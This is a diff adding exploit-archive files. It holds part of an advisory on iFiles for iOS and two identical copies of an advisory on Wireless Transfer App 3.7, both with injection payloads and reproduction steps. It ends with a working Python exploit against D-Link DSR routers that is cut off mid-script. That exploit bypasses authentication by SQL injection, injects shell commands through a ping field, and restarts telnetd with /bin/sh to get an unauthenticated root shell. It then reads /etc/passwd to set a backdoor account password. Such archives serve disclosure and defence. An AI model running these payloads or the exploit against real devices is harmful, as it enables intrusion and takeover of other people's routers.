+				[+] foldername
+
+Affected Module(s):
+				[+] File & Folder Dir Listing (http://localhost:8080)
+
+
+
+1.2
+2 local command/path injection web vulnerabilities has been discovered in the official Imagam iFiles v1.16.0 mobile application for apple iOS.
+The remote web vulnerability allows to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
+
+The vulnerability is located in the in the device name value of the file dir und sub category listing module. Local attackers are able to inject 
+own malicious system specific commands or path values requests as the iOS device name. The execute of the injected script code occurs in two 
+different section with persistent attack vector. The first section is the wifi app web-interface index file/folder dir listing. The secound 
+execute occurs in the file/folder sub category listing. The security risk of the local command/path inject vulnerability is estimated as high(-) 
+with a cvss (common vulnerability scoring system) count of 6.2(+)|(-)6.3.
+
+Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction. 
+Successful exploitation of the vulnerability results in unauthorized execute of system specific commands or unauthorized path requests.
+
+
+Request Method(s):
+				[+] POST to GET
+
+Vulnerable Parameter(s):
+				[+] devicename
+
+Affected Module(s):
+				[+] Index- File Dir Listing
+				[+] Sub Folder/Category - File Dir Listing
+
+
+Proof of Concept (PoC):
+=======================
+1.1
+The file include and arbitrary file upload web vulnerability can be exploited by remote attackers without privileged web application 
+user account and also without user interaction. For security demonstration or to reproduce the vulnerability follow the provided 
+information and steps below.
+
+PoC: foldername
+
+<div id="headerHighlight">
+		<div id="header">
+		
+			<div class="logo">
+<img src="_device%20folder&path-issue-1_files/icon57.png" alt="icon57" height="57" width="57">
+				<h1>iFiles</h1>
+  			</div>
+
+ 			<div class="deviceName">
+				<h4>device bkm337? </h4>
+	  		</div>
+	  		  <div class="urlDiv">
+     				<div class="outer">
+      				  <div class="inner">
+<b>/>"<[FILE INCLUDE WEB VULNERABILITY!]%22"_device%20folder&[FILE INCLUDE WEB VULNERABILITY!]%22">x.com/</b>
+		</div>
+    		</div>
+   		</div>
+	</div>
+	</div>
+</div>
+
+
+PoC: filename (value)
+
+<tr id="sfile0" url="/" filename="<EMBED SRC=" data:image"="">
+<td class="fileName">
+<a href="http://192.168.2.106:8080/%3CEMBED%20SRC=" data:image"=""><img class="fileIcon" 
+src="_device%20folder&path-issue-2_files/FolderIcon.png" alt="*">
+<embed src="data:image%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%3C/
+a%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%3C/td%3E%0A%20%20%20%20
+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%3Ctd%20class=" filelastmod"="">Mon, 02 Dec 2013 15:50:10 GMT</a></td>
+                    <td class="fileSize" align="right">-- 
+                    <img style="display:none;" class="downloadIcon" src="_device%20folder&path-issue-2_files/downloadIcon.png" 
+alt="d" onclick="downloadFile('/<EMBED SRC=" data:image');"="">
+<img class="deleteIcon" src="_device%20folder&path-issue-2_files/deleteIcon.png" alt="x" 
+title="Delete this file" onclick="deleteFile('#sfile0');" ="cursor:pointer;"="">
+                    			</td>
+                			</tr>
+<tr id="sfile1" url="/" filename="[FILE INCLUDE WEB VULNERABILITY!]%22">
+<td class="fileName">
+<a href="http://192.168.2.106:8080/%3E" <[FILE INCLUDE WEB VULNERABILITY!]%22"><img class="fileIcon" 
+src="_device%20folder&path-issue-2_files/FolderIcon.png" alt="*">
+>"<[FILE INCLUDE WEB VULNERABILITY!]="_device%20folder&path-issue-2_files/a.htm" <="" a="">
+</td>
+
+
+1.2
+The local command inject web vulnerability can be exploited by remote attackers with low privileged or restricted iOS device user account 
+and no user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.
+
+PoC: devicename
+
+<div id="headerHighlight">
+		<div id="header">
+		
+			<div class="logo">
+				<img src="device%20name__files/icon57.png" alt="icon57" height="57" width="57">
+				<h1>iFiles</h1>
+  			</div>
+
+ 			<div class="deviceName">
+				<h4>d4vice><..[COMMAND/PATH INJECT VULNERABILITY!] </h4>
+	  		</div>
+	  		  <div class="urlDiv">
+     				<div class="outer">
+      				  <div class="inner">
+          			  <b>/</b>
+       				 </div>
+    			 </div>
+   			 </div>
+		</div>
+		</div>
+
+
+Solution - Fix & Patch:
+=======================
+1.1
+The file include vulnerability and arbitrary file upload vulnerability can be patched by a secure parse and encode of the vulnerable 
+filename and foldername values.
+Encode also the vulnerable path sub category file dir listing and the index file dir listing. Recognize the path value.
+
+1.2
+To patch the local command inject web vulnerability it is required to encode the deviename value in the index and sub category sites 
+to prevent injects or requests.
+
+
+Security Risk:
+==============
+1.1
+The security risk of the file include and arbitrary file upload (restricted upload bypass) web vulnerability is estimated as critical.
+
+1.2
+The security risk of the local command/path inject web vulnerability is estimated as high(-).
+
+
+Credits & Authors:
+==================
+Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
+
+
+Disclaimer & Information:
+=========================
+The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
+either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
+Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
+profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
+states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
+may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
+or trade with fraud/stolen material.
+
+Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
+Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
+Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
+Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
+Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php
+
+Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
+Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
+media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
+other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
+modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
+
+				Copyright ? 2013 | Vulnerability Laboratory [Evolution Security]
+
+
+
+-- 
+VULNERABILITY LABORATORY RESEARCH TEAM
+DOMAIN: www.vulnerability-lab.com
+CONTACT: research@vulnerability-lab.com
+
+
diff --git a/platforms/hardware/webapps/30055.txt b/platforms/hardware/webapps/30055.txt
new file mode 100755
index 000000000..832d89892
--- /dev/null
+++ b/platforms/hardware/webapps/30055.txt
@@ -0,0 +1,191 @@
+Document Title:
+===============
+Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities
+
+
+References (Source):
+====================
+http://www.vulnerability-lab.com/get_content.php?id=1152
+
+
+Release Date:
+=============
+2013-12-04
+
+
+Vulnerability Laboratory ID (VL-ID):
+====================================
+1152
+
+
+Common Vulnerability Scoring System:
+====================================
+6.7
+
+
+Product & Service Introduction:
+===============================
+Wireless Transfer App is an easy to use photo and video transfer tool. It helps you easily and quickly transfer photos and videos 
+between iPhone and iPad, as well as transfer photos and videos from computer to iPad/iPhone/iPod and vice verse. With Wireless 
+Transfer App, you can transfer photos and videos from iPad to iPad, from iPad to iPhone, from iPhone to iPad, from iPhone to iPhone, 
+from computer to iPad, from iPhone to computer and more. There is no need for USB cable or extra software. You just need to put your 
+devices under the same Wi-Fi network.
+
+(Copy of the Homepage: https://itunes.apple.com/en/app/wireless-transfer-app-share/id543119010 & http://www.wirelesstransferapp.com/ )
+
+
+Abstract Advisory Information:
+==============================
+The Vulnerability Laboratory Research Team discovered multiple command/path inject vulnerabilities in the Wireless Transfer App v3.7 for apple iOS.
+
+
+Vulnerability Disclosure Timeline:
+==================================
+2012-11-30:	Public Disclosure (Vulnerability Laboratory)
+
+
+Discovery Status:
+=================
+Published
+
+
+Affected Product(s):
+====================
+Wireless Transfer App COM
+Product: Wireless Transfer App 3.7
+
+
+Exploitation Technique:
+=======================
+Remote
+
+
+Severity Level:
+===============
+High
+
+
+Technical Details & Description:
+================================
+A local command/path injection web vulnerability has been discovered in the Wireless Transfer App v3.7 for apple iOS.
+The vulnerability allows to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
+
+The vulnerability is located in the in the album name value of the wireless transfer app index and sub category list module.
+Remote attackers are able to manipulate iOS device - `photo app` (default) album names. The execute of the injected 
+command/path request occurs in the album sub category list and the main album name index list. The security risk of the 
+command/path inject vulnerabilities are estimated as high(-) with a cvss (common vulnerability scoring system) count of 6.7(-).
+
+Exploitation of the command/path inject vulnerability requires a local low privileged iOS device account with restricted access 
+and no direct user interaction. Successful exploitation of the vulnerability results unauthorized execution of system specific 
+commands or unauthorized path requests.
+
+Vulnerable Application(s):
+				[+] Wireless Transfer App v3.7
+
+Vulnerable Parameter(s):
+				[+] album name
+				[+] photoGallery_head - album
+
+Affected Module(s):
+				[+] Index - Album Name List
+				[+] Sub Category - Title Album Name List
+
+
+Proof of Concept (PoC):
+=======================
+The local command inject web vulnerabilities can be exploited by local low privileged device user accounts with low 
+user interaction. For security demonstration or to reproduce the vulnerability follow the information and steps below. 
+
+Manual steps to exploit the vulnerability ...
+
+1. Install the wireless transfer v3.7 iOS mobile application
+2. Open the default Photo app of your iOS device
+3. Include an album with the following payload  `">%20<x src=\..\<../var/mobile/Library/[x application path]>` and save it
+4. Switch back to the installed wireless transfer app and start the wifi transfer
+5. Open the local web-server url http://localhost:6688/ (default link)
+6. The local path/command execute occurs in the album name value of the photoGallery_head class
+7. Successful reproduce of the vulnerability! 
+
+
+PoC: Album Name - photoGallery_head in the Album Sub Category List
+
+<div class="header">
+  <div class="logo"> <a href="index.html"><img src="images/logo.png" alt="logo"></a> </div>
+  <div class="title"><a href="index.html"><img src="images/title4.png" alt="logo"></a></div>
+  <div class="button"><a href="upload.html"><img src="images/anniuda2.png" alt=" "></a></div>
+  <div class="photoGallery_head">
+<div class="phga_hd_left">Album : ">%20<x src=\..\<../[COMMAND/PATH INJECT VULNERABILITY IN ALBUM NAME BY photoGallery_head CLASS!]></div>
+  <div class="phga_hd_right">
+    <input value="Zur?ck zur Sammlung" class="back" type="button">
+  </div>
+</div>
+</div>
+
+
+PoC: Album Name - photoalbum in the Album Index List
+
+<div class="photo_list">
+<dl><dt class="photoalbum" alt="D579B80C-B73D-4A16-9379-FB29A6CFC12C"><a href="albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C">
+<img src="/albumimg_D579B80C-B73D-4A16-9379-FB29A6CFC12C.jpg" height="100" width="100"></a></dt>
+<dd>>%20<x src=\..\<../[COMMAND/PATH INJECT VULNERABILITY IN ALBUM NAME BY photoalbum!]>(125)</dd></dl> 
+<dl><dt class="photoalbum" alt="632F9F75-1B7A-41E4-8070-E62B1ECC780A"><a href="albumhtm?id=632F9F75-1B7A-41E4-8070-E62B1ECC780A">
+<img src="/albumimg_632F9F75-1B7A-41E4-8070-E62B1ECC780A.jpg" height="100" width="100"></a></dt><dd>Fotoarchiv(0)</dd></dl> 
+<dl><dt class="photoalbum" alt="C44B3062-3A67-4BFA-AF16-04CC8DE2CD29"><a href="albumhtm?id=C44B3062-3A67-4BFA-AF16-04CC8DE2CD29">
+<img src="/albumimg_C44B3062-3A67-4BFA-AF16-04CC8DE2CD29.jpg" height="100" width="100"></a></dt><dd>WallpapersHD(3)</dd></dl> 
+
+
+Reference(s):
+http://localhost:6688/index.html
+http://localhost:6688/albumhtm
+http://localhost:6688/albumhtm?id=
+http://localhost:6688/albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C
+
+
+Solution - Fix & Patch:
+=======================
+The vulnerability can be patched by a secure encode and parse of the vulnerable album name value. 
+Parse and filter also the index and sub category output list to ensure it prevents local command/path requests.
+
+
+Security Risk:
+==============
+The security risk of the local command/path inject web vulnerability is estimated as high.
+
+
+Credits & Authors:
+==================
+Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
+
+
+Disclaimer & Information:
+=========================
+The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
+either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
+Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
+profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
+states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
+may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
+or trade with fraud/stolen material.
+
+Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
+Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
+Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
+Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
+Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php
+
+Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
+Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
+media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
+other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
+modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
+
+				Copyright ? 2013 | Vulnerability Laboratory [Evolution Security]
+
+
+
+-- 
+VULNERABILITY LABORATORY RESEARCH TEAM
+DOMAIN: www.vulnerability-lab.com
+CONTACT: research@vulnerability-lab.com
+
+
diff --git a/platforms/hardware/webapps/30056.txt b/platforms/hardware/webapps/30056.txt
new file mode 100755
index 000000000..832d89892
--- /dev/null
+++ b/platforms/hardware/webapps/30056.txt
@@ -0,0 +1,191 @@
+Document Title:
+===============
+Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities
+
+
+References (Source):
+====================
+http://www.vulnerability-lab.com/get_content.php?id=1152
+
+
+Release Date:
+=============
+2013-12-04
+
+
+Vulnerability Laboratory ID (VL-ID):
+====================================
+1152
+
+
+Common Vulnerability Scoring System:
+====================================
+6.7
+
+
+Product & Service Introduction:
+===============================
+Wireless Transfer App is an easy to use photo and video transfer tool. It helps you easily and quickly transfer photos and videos 
+between iPhone and iPad, as well as transfer photos and videos from computer to iPad/iPhone/iPod and vice verse. With Wireless 
+Transfer App, you can transfer photos and videos from iPad to iPad, from iPad to iPhone, from iPhone to iPad, from iPhone to iPhone, 
+from computer to iPad, from iPhone to computer and more. There is no need for USB cable or extra software. You just need to put your 
+devices under the same Wi-Fi network.
+
+(Copy of the Homepage: https://itunes.apple.com/en/app/wireless-transfer-app-share/id543119010 & http://www.wirelesstransferapp.com/ )
+
+
+Abstract Advisory Information:
+==============================
+The Vulnerability Laboratory Research Team discovered multiple command/path inject vulnerabilities in the Wireless Transfer App v3.7 for apple iOS.
+
+
+Vulnerability Disclosure Timeline:
+==================================
+2012-11-30:	Public Disclosure (Vulnerability Laboratory)
+
+
+Discovery Status:
+=================
+Published
+
+
+Affected Product(s):
+====================
+Wireless Transfer App COM
+Product: Wireless Transfer App 3.7
+
+
+Exploitation Technique:
+=======================
+Remote
+
+
+Severity Level:
+===============
+High
+
+
+Technical Details & Description:
+================================
+A local command/path injection web vulnerability has been discovered in the Wireless Transfer App v3.7 for apple iOS.
+The vulnerability allows to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
+
+The vulnerability is located in the in the album name value of the wireless transfer app index and sub category list module.
+Remote attackers are able to manipulate iOS device - `photo app` (default) album names. The execute of the injected 
+command/path request occurs in the album sub category list and the main album name index list. The security risk of the 
+command/path inject vulnerabilities are estimated as high(-) with a cvss (common vulnerability scoring system) count of 6.7(-).
+
+Exploitation of the command/path inject vulnerability requires a local low privileged iOS device account with restricted access 
+and no direct user interaction. Successful exploitation of the vulnerability results unauthorized execution of system specific 
+commands or unauthorized path requests.
+
+Vulnerable Application(s):
+				[+] Wireless Transfer App v3.7
+
+Vulnerable Parameter(s):
+				[+] album name
+				[+] photoGallery_head - album
+
+Affected Module(s):
+				[+] Index - Album Name List
+				[+] Sub Category - Title Album Name List
+
+
+Proof of Concept (PoC):
+=======================
+The local command inject web vulnerabilities can be exploited by local low privileged device user accounts with low 
+user interaction. For security demonstration or to reproduce the vulnerability follow the information and steps below. 
+
+Manual steps to exploit the vulnerability ...
+
+1. Install the wireless transfer v3.7 iOS mobile application
+2. Open the default Photo app of your iOS device
+3. Include an album with the following payload  `">%20<x src=\..\<../var/mobile/Library/[x application path]>` and save it
+4. Switch back to the installed wireless transfer app and start the wifi transfer
+5. Open the local web-server url http://localhost:6688/ (default link)
+6. The local path/command execute occurs in the album name value of the photoGallery_head class
+7. Successful reproduce of the vulnerability! 
+
+
+PoC: Album Name - photoGallery_head in the Album Sub Category List
+
+<div class="header">
+  <div class="logo"> <a href="index.html"><img src="images/logo.png" alt="logo"></a> </div>
+  <div class="title"><a href="index.html"><img src="images/title4.png" alt="logo"></a></div>
+  <div class="button"><a href="upload.html"><img src="images/anniuda2.png" alt=" "></a></div>
+  <div class="photoGallery_head">
+<div class="phga_hd_left">Album : ">%20<x src=\..\<../[COMMAND/PATH INJECT VULNERABILITY IN ALBUM NAME BY photoGallery_head CLASS!]></div>
+  <div class="phga_hd_right">
+    <input value="Zur?ck zur Sammlung" class="back" type="button">
+  </div>
+</div>
+</div>
+
+
+PoC: Album Name - photoalbum in the Album Index List
+
+<div class="photo_list">
+<dl><dt class="photoalbum" alt="D579B80C-B73D-4A16-9379-FB29A6CFC12C"><a href="albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C">
+<img src="/albumimg_D579B80C-B73D-4A16-9379-FB29A6CFC12C.jpg" height="100" width="100"></a></dt>
+<dd>>%20<x src=\..\<../[COMMAND/PATH INJECT VULNERABILITY IN ALBUM NAME BY photoalbum!]>(125)</dd></dl> 
+<dl><dt class="photoalbum" alt="632F9F75-1B7A-41E4-8070-E62B1ECC780A"><a href="albumhtm?id=632F9F75-1B7A-41E4-8070-E62B1ECC780A">
+<img src="/albumimg_632F9F75-1B7A-41E4-8070-E62B1ECC780A.jpg" height="100" width="100"></a></dt><dd>Fotoarchiv(0)</dd></dl> 
+<dl><dt class="photoalbum" alt="C44B3062-3A67-4BFA-AF16-04CC8DE2CD29"><a href="albumhtm?id=C44B3062-3A67-4BFA-AF16-04CC8DE2CD29">
+<img src="/albumimg_C44B3062-3A67-4BFA-AF16-04CC8DE2CD29.jpg" height="100" width="100"></a></dt><dd>WallpapersHD(3)</dd></dl> 
+
+
+Reference(s):
+http://localhost:6688/index.html
+http://localhost:6688/albumhtm
+http://localhost:6688/albumhtm?id=
+http://localhost:6688/albumhtm?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C
+
+
+Solution - Fix & Patch:
+=======================
+The vulnerability can be patched by a secure encode and parse of the vulnerable album name value. 
+Parse and filter also the index and sub category output list to ensure it prevents local command/path requests.
+
+
+Security Risk:
+==============
+The security risk of the local command/path inject web vulnerability is estimated as high.
+
+
+Credits & Authors:
+==================
+Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
+
+
+Disclaimer & Information:
+=========================
+The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
+either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
+Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
+profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
+states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
+may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
+or trade with fraud/stolen material.
+
+Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
+Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
+Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
+Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
+Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php
+
+Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
+Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
+media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
+other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
+modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
+
+				Copyright ? 2013 | Vulnerability Laboratory [Evolution Security]
+
+
+
+-- 
+VULNERABILITY LABORATORY RESEARCH TEAM
+DOMAIN: www.vulnerability-lab.com
+CONTACT: research@vulnerability-lab.com
+
+
diff --git a/platforms/hardware/webapps/30062.py b/platforms/hardware/webapps/30062.py
new file mode 100755
index 000000000..fc0114f1d
--- /dev/null
+++ b/platforms/hardware/webapps/30062.py
@@ -0,0 +1,303 @@
+#!/usr/bin/python
+#
+# CVEs:                  CVE-2013-5945 - Authentication Bypass by SQL-Injection
+#                        CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
+#
+# Vulnerable Routers:    D-Link DSR-150 (Firmware < v1.08B44)
+#                        D-Link DSR-150N (Firmware < v1.05B64)
+#                        D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
+#                        D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
+#                        D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
+#
+# Likely to work on:     D-Link DWC-1000
+# 
+# Download URL:          http://tsd.dlink.com.tw
+# 
+# Arch:                  mips and armv6l, Linux
+# 
+# Author:                0_o -- null_null
+#                        nu11.nu11 [at] yahoo.com
+#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
+#                        Wonder how the guys at packet storm could get this wrong :(
+# 
+# Date:                  2013-08-18
+# 
+# Purpose:               Get a non-persistent root shell on your D-Link DSR. 
+# 
+# Prerequisites:         Network access to the router ports 443 and 23.
+#                        !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
+#
+# 
+# Coordinated Disclosure -- history and timeline:
+# 
+# 2013-09-12:   Informed Heise Security and asked for their support on this case
+# 2013-09-13:   Informed the manufacturer D-Link via 
+#               http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/  (contact form is buggy!)
+#               http://www.d-link.co.za/contactus/feedback/ (contact request submitted)
+#               http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)
+#               mail@dlink.ru (contact request sent)
+#               info@dlink.ee (contact request sent)
+#               info@dlink.de (contact request sent)
+# 2013-09-14:   Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de  
+# 2013-09-16:   D-Link Russia and D-Link Germany claim to have forwarded my request.
+# 2013-09-17:   German BSI responds, contact established.
+# 2013-09-24:   Requested CVE-IDs.
+# 2013-09-25:   Heise responds, contact established.
+# 2013-09-27:   D-Link asks for details on vulns and the exploit code.
+#               Mitre assigns two CVEs:
+#                  CVE-2013-5945 -- authentication bypass
+#                  CVE-2013-5946 -- privilege escalation
+# 2013-09-30:   D-Link has received the exploit and documentation via BSI
+# 2013-11-29:   Patches are available for the DSR router series via tsd.dlink.com.tw
+#                 DSR-150:                Firmware v1.08B44
+#                 DSR-150N:               Firmware v1.05B64
+#                 DSR-250 and DSR-250N:   Firmware v1.08B44
+#                 DSR-500 and DSR-500N:   Firmware v1.08B77
+#                 DSR-1000 and DSR-1000N: Firmware v1.08B77
+# 2013-12-03:   Public Disclosure
+#
+# And now - the fun part :-)
+#
+
+
+import httplib
+import urllib
+import telnetlib
+import time
+import sys
+import crypt
+import random
+import string
+
+
+##############################
+#
+# CHANGE THESE VALUES -- BEGIN
+#
+# Your router's IP:PORT
+ipaddr = "192.168.10.1:443"
+# Password to be set (by this hack) on the backdoor account
+bdpasswd = "password"
+#
+# CHANGE THESE VALUES -- END
+#
+# persistent config file:    /tmp/teamf1.cfg.ascii
+#                            Edit this file to make your changes persistent.
+# 
+##############################
+
+
+cookie = ""
+pid = -2
+bduser = ""
+    
+
+def request(m = "", u = "", b = "", h = ""):
+    global ipaddr
+    conn = httplib.HTTPSConnection(ipaddr, timeout = 15)
+    assert m in ["GET", "POST"]
+    conn.request(method = m, url = u, body = b, headers = h)
+    ret = conn.getresponse()
+    header = ret.getheaders()
+    data = ret.read()
+    conn.close()
+    return (header, data)
+
+
+def login(user, passwd):
+    global ipaddr
+    headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+               'User-Agent': "Exploit",
+               'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
+               'Content-Type': "application/x-www-form-urlencoded"}
+    body = {'thispage'                          : "index.htm",
+            'Users.UserName'                    : user,
+            'Users.Password'                    : passwd,
+            'button.login.Users.deviceStatus'   : "Login",
+            'Login.userAgent'                   : "Exploit"}
+    return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
+    
+    
+def logout():
+    global ipaddr, cookie
+    headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+               'User-Agent': "Exploit",
+               'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
+               'Content-Type': "application/x-www-form-urlencoded"}
+    body = ""
+    return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)
+
+
+def execCmd(cmd = None):
+    global ipaddr, cookie
+    assert cmd != None
+    headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+               'User-Agent': "Exploit",
+               'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",
+               'Cookie': cookie,
+               'Content-Type': "application/x-www-form-urlencoded"}
+    body = {'thispage'                          : "systemCheck.htm",
+            'ping.ip'                           : "localhost;" + cmd,
+            'button.traceroute.diagDisplay'     : "Traceroute"}
+    return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
+
+
+def findPid(mystr = None):
+    # "  957 root      2700 S    /usr/sbin/telnetd -l /bin/login"
+    assert mystr != None
+    mypid = 0
+    (h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");
+    s = d.find(mystr)
+    if s > 0:
+        # telnetd is running
+        cand = d[s - 50 : s]
+        try:
+            mypid = int(cand.split("\n")[1].split()[0])
+        except IndexError:
+            mypid = int(cand.split(">")[1].split()[0])
+    return mypid
+
+
+def restartTelnetd(mystr1 = None, mystr2 = None):
+    assert mystr1 != None and mystr2 != None
+    global pid
+    pid = findPid("telnetd -l /bin/")
+    if pid > 0:
+        # Stopping the running telnetd
+        print "[+] Stopping telnetd (" + str(pid) + "): ",
+        sys.stdout.flush()
+        (h, d) = execCmd("kill " + str(pid))
+        pid = findPid(mystr1)
+        if pid > 0:
+            print "FAILURE"
+            sys.exit(-1)
+        else: 
+            print "OK"
+    # Starting a new telnetd
+    print "[+] Starting telnetd: ",
+    sys.stdout.flush()
+    (h, d) = execCmd("telnetd -l " + mystr2)
+    pid = findPid("telnetd -l " + mystr2)
+    if pid > 0:
+        print "OK (" + str(pid) + ")"
+    else: 
+        print "FAILURE"
+        sys.exit(-1)
+    
+
+def main():
+    global ipaddr, cookie, pid, bduser, bdpasswd
+    user = "admin"
+    passwd = "' or 'a'='a"
+    print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"
+    print "This change is non-persistent to device reboots."
+    print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n"
+    # Logging into the router
+    print "[+] Trying to log into the router: ",
+    sys.stdout.flush()
+    (h, d) = login(user, passwd)
+    if d.find("User already logged in") > 0:
+        print "FAILURE"
+        print "[-] The user \"admin\" is still logged in. Please log out from your current session first."
+        sys.exit(-1)
+    elif d.find('<a href="?page=index.htm">Logout</a>') > 0:
+        while h:
+            (c1, c2) = h.pop()
+            if c1 == 'set-cookie':
+                cookie = c2
+                break
+        print "OK (" + cookie + ")"
+    elif d.find("Invalid username or password") > 0:
+        print "FAILURE"
+        print "[-] Invalid username or password"
+        sys.exit(-1)
+    else:
+        print "FAILURE"
+        print "[-] Unable to login."
+        sys.exit(-1)
+        
+    # Starting a telnetd with custom parameters
+    print "[+] Preparing the hack..."
+    restartTelnetd("/bin/login", "/bin/sh")
+    
+    # Do the h4cK
+    print "[+] Hacking the router..."
+    print "[+] Getting the backdoor user name: ",
+    sys.stdout.flush()
+    tn = telnetlib.Telnet(ipaddr.split(":")[0])
+    tn.read_very_eager()
+    tn.write("cat /etc/profile\n")
+    time.sleep(5)
+    data = tn.read_very_eager()
+    for i in data.split("\n"):
+        if i.find('"$USER"') > 0:
+            bduser = i.split('"')[3]
+            break
+    if len(bduser) > 0:
+        print "OK (" + bduser + ")"
+    else:
+        print "FAILURE"
+        sys.exit(-1)
+    print "[+] Setting the new password for " + bduser + ": ",
+    sys.stdout.flush()
+    tn.write("cat /etc/passwd\n")
+    time.sleep(5)
+    data = tn.read_very_eager()
+    data = data.split("\n")
